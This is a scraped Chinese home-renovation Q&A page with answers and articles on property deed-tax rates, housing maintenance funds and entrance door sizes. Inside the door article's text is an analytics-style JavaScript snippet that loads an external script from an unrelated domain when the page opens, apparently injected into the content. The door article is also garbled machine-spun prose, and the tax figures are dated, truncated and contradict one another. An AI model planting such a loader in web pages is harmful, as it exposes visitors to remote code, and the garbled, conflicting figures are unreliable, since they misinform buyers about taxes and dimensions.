发现更多装修知识
罗曼文
4 回答
10秒估算装修报价
元
稍后将有装修顾问来电为您解读报价
共有4条回答
ccjjhh 有用 1
_Jasmine_ 有用 1
来自exoplane... 有用 1
函艺装饰 有用 1
土巴兔装修客服
土巴兔官方客服,欢迎随时咨询
立即咨询
亲,近期在了解装修吗?您是否想改变一下家里的布置,风格,收纳等现象?只需要一个报名申请您就能获得免费设计,赶紧咨询我吧!
问新门面房契税一般是多少?
答新门面房契税90㎡以下是1个点的契税,90-142㎡是1.5个点的契税,142㎡以上是3个点的契税。具体的如下: 3%契税 5.5%差额营业税(无年限规
问普通住宅公摊面积一般达到多少
答不同结构的普通住宅楼公摊面积各不同,一般来说114平方米有13的分摊并不多。如有异议,看一下测绘报告书就清楚了,该报告书已标明分摊的部位和分摊系数
问高档住宅契税多少?
答建筑面积在120平方米以内的,按1.5%的税率征收契税;建筑面积超过120平方米的,120平方米以下的部分按1.5%的税率征收契税,120平方米以上的部分按
问小高层契税一般是多少?商品房契税税率一般是多少?
答你好,商品房契税税率一般是多少:个人第一次购买普通住宅契税的税率为3%,享受减半征收的税收优惠,即按1.5%征收。??计算公式:应纳的契税=成交价格(或市场
一般住宅入户的双开门尺寸是多少及如何买门
有许多类型的房屋,如商品房,经济适用房,别墅等。人们在选择时可以根据自己的喜好选择。房子对于安装门是必不可少的,一般住宅入户的双开门尺寸是多少?我们来看看小编吧。首先,一般住宅入户的双开门尺寸是多少别墅的门通常有入口门和庭院门。双门的开口的高度为2.4米,不小于2.2米,宽度根据镇的门的实际情况而定。双层庭院门的宽度约为2.5米,双门的宽度也为3米或4米。高度不受门高度的限制。如果双门的形状像一个儿童门,尺寸为1.2米*2米,该单元的栅极宽度应不小于2米,并且高度不应小于2,2米。二,如何买门。1,看门首先必须注意的是门的质量。通常,在设计门时,采用在高压下密封边缘的过程。优质门采用进口橡胶制成,采用耐高温材料制成。其次,你还应该看看门的角落。大型品牌的门在细节处理时会更加精致。如果每天进行脱胶,将严重影响门的使用,这将给未来的生活带来极大的不便。2,看看硬件门的选择不仅取决于质量,还取决于配件的方式,如门把手,铰链等。这些配件是门的一个不可或缺的部分。因此,这取决于硬件是否柔软。同时,应该看到细节是否有氧化。如果硬件出现问题,它将直接影响门后的开关。3,看看品牌目前,市场上有很多品牌,质量也不平衡。因此,在购买时,您必须选择具有较高品牌声誉的门。出售后,一个好品牌的大门会更好。虽然小标记的价格是相对便宜的,有的则是没有售后非常好,甚至不工作,所以要选择一个品牌是很重要的。发行者的总结:这是关于一般住宅入户的双开门尺寸是多少及如何购买,我希望能帮助广大的朋友。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
契税税率是多少?契税税率怎么算
说到契税税率,很多朋友还不太了解。那么,契税税率是多少?契税税率怎么计算呢?下面就跟小编一起来看看吧。一、第一次购房契税税率第一次购房契税减半征收标准:个人第一次购买普通住宅契税的税率为3%,享受减半征收的税收优惠,即按1.5%征收。计算公式:应纳的契税=成交价格(或市场指导价)×征收率1.5%计税依据:成交价格(包括煤气费、光纤费以及厨卫整修和铝钢门窗安装款)如果成交价格明显低于市场价格而无正当理由的,由征收机关参照市场价格核定。所需资料:1、商品房购买合同;2、商品房购买发票;3、购买房屋者身份证;4、开发公司大产权证;5、成都市地方税务局契税纳税申报表;6、如果购房者委托他人(包括开发公司、中介机构等)代为办理纳税还需出具委托书。二、第二次购房契税税率第二次购房契税3%征收标准:契税的税率为3%,不再享受税收优惠政策。计算公式:应纳的契税=成交价格(或市场指导价)×3%所需资料:与个人第一次购买普通住宅相同。三、二手房契税税率二手房参照市场价收税征收标准:二手房契税的税率为3%,其中个人购买第一套普通住宅的减半征收。计算公式:应纳的契税=成交价格(或市场指导价)×3%(或1.5%)计税依据:成交价格,如果成交价格明显低于市场价格而无正当理由的,由征收机关参照市场价格核定。土地契税税率一、90平方以下(不包含90平方)外环总价160万以下、中环200万以下、内环330万以下(不包含160万、200万、330万)契税1%。二、90平方~140平方以下(包含90平方、不包含140平方)外环总价160万以、下中环总价200万以下、内环330万以下(不包含160万、200万、330万)契税1.5%。三、140平方以上(包含140平方)契税3%。四、房产性质为别墅或商业用途缴纳契税3%。房产契税税率在房屋契税的要求下我们要知道的是房屋是否是你的第一套房屋,如果这不是你拥有的首套房屋,房屋契税税率会在3%-5%之间,相对来说会比较高一些。在购房的过程中要明确的向商家询问关于房屋契税的问题,面积加上每平米多少钱然后乘以房屋契税税率就是真正要缴纳的税费,如果是首套房的话税率会低一些。每年国家都会出台新的政策,在调控的房屋契税的过程中,出台出大的方针,每个地区根据本地的相关情况然后具体制定方案进行实行,让房屋契税税率根据地方的消费水平等等因素来定。土地出让契税税率一、营业税及附加(出让方):1、按转让价与购置价的差价缴纳5%的营业税。2、按缴纳的营业税缴纳7%的城建税和3%的教育费附加。二、印花税和契税(双方):1、按产权转移书据(合同)所载金额缴纳0.05%的印花税。2、按成交价格(合同)缴纳3%的契税(有的地方是5%)。三、土地增值税(出让方):1、按取得收入减除规定扣除项目金额后的增值额,缴纳土地增值税。2、规定扣除项目:取得土地使用权所支付的金额;开发土地的成本、费用;与转让房地产有关的税金等。3、税率的确定四档:增值额未超过扣除项目金额的50%的部分,税率为30%;增值额超过扣除项目金额的50%至100%的,税率为40%;增值额超过扣除项目金额的100%至200%的,税率为50%;增值额超过扣除项目金额200%的,税率为60%。为计算方便,可以通过速算公式计算:土地增值税税额=增值额*税率-扣除项目金额*速算扣除系数(0、5%、15%、35%分别对应30%、40%、50%、60%税率)如果你是打算买房的朋友,上述内容对你就有帮助了。相信你看完本文对契税税率也有一定的了解了。关于契税税率相关信息小编就介绍到这里。更多相关信息请继续关注土巴兔学装修。
新房契税和维修基金是多少?
导语:在房地产行业中,无论是购买新房还是二手房,只要是发生了房屋买卖或者是过户情况的都必须缴纳一定的税费,这是早年间国家为了稳定房价的一类措施。而在近些年,这些关于新房契税的政策发生了相应的改变,根据不同的情况,所缴纳的税费也有所不同。除此之外,房屋维修基金的缴纳有了一些改变。小编今天的文章就来为大家详细介绍一下,2017年新房契税和维修基金是多少。无论是新房和二手房都按照以下几点规定执行:1、如果购买首套房:当交易房屋面积小于等于90平方米时,契税税率为1%;当交易房屋面积大于90平方米时,契税税率在原有基础上减半,即契税税率为1.5%。2、除北京市、上海市、广州市、深圳市之外的其他城市,如果是购买二套房:当交易房屋的面积小于等于90平方米时,契税税率为1%;当所交易房屋面积大于90平方米时,契税税率为2%。3、在北京市、上海市、广州市、深圳市购买二套房,不论面积大小,契税税率仍为3%。4、如果你买的新房或者二手房是第三套房或以上套数,不论房屋面积大小,契税税率为3%,没有减免情况。二、新房公共维修基金比例是多少?商品房销售时,购房者与售房单位应当签定有关维修基金交缴约定,购房者应当按购房款2-3%的比例向售房单位(开发商)交纳维修基金。开发商代收的维修基金属与全体业主共同所有,不计入住宅销售收入。专项维修资金缴纳标准:高层(含带电梯的多层)90元/㎡、多层(含别墅)50元/㎡(各地房屋维修基金标准与经济水平挂钩,具体收取标准略有出入);房屋维修基金=每平方米建筑面积成本价x比例x面积。注意事项:维修基金的具体标准由当地房产行政部门确定,所以维修基金比例在各地区之间都有一定的差异,建议各位购房者到当地站或房管局站进行详情查询。三、什么情况下购房者可使用房屋维修基金?房屋维修基金可以用于房屋保修期满后,对房屋主体结构、公共部位或公共设施设备的大中修以及更新改造工程:①房屋主体承重结构部分包括基础、内外承重墙体、柱、梁、楼板、屋顶等;②公共部位是指户外墙面、门厅、楼梯间、走廊通道等;③公共设施设备是指房屋及配套区域内、由业主共同拥有并使用的上下水管道及设备、配电线缆及设备、电梯、公用照明、消防设施、绿地、道路、沟渠、非经营性车场车库、公益性文体设施和共用设施设备等。维修基金一般是用于住宅修葺或者是设备更新所缴纳的相应的钱款,根据地区的不同,缴纳钱款的数量也不同,而这笔钱款一般是物业或者管理单位使用。小编上述中为大家介绍的信息是根据房屋比例来进行计算的,而新房的契税同样也是根据不同的房屋的类型来相应的介绍,小编的介绍到这里就要结束了,希望小编的文章能够帮助到大家。
打开APP后继续操作
立即打开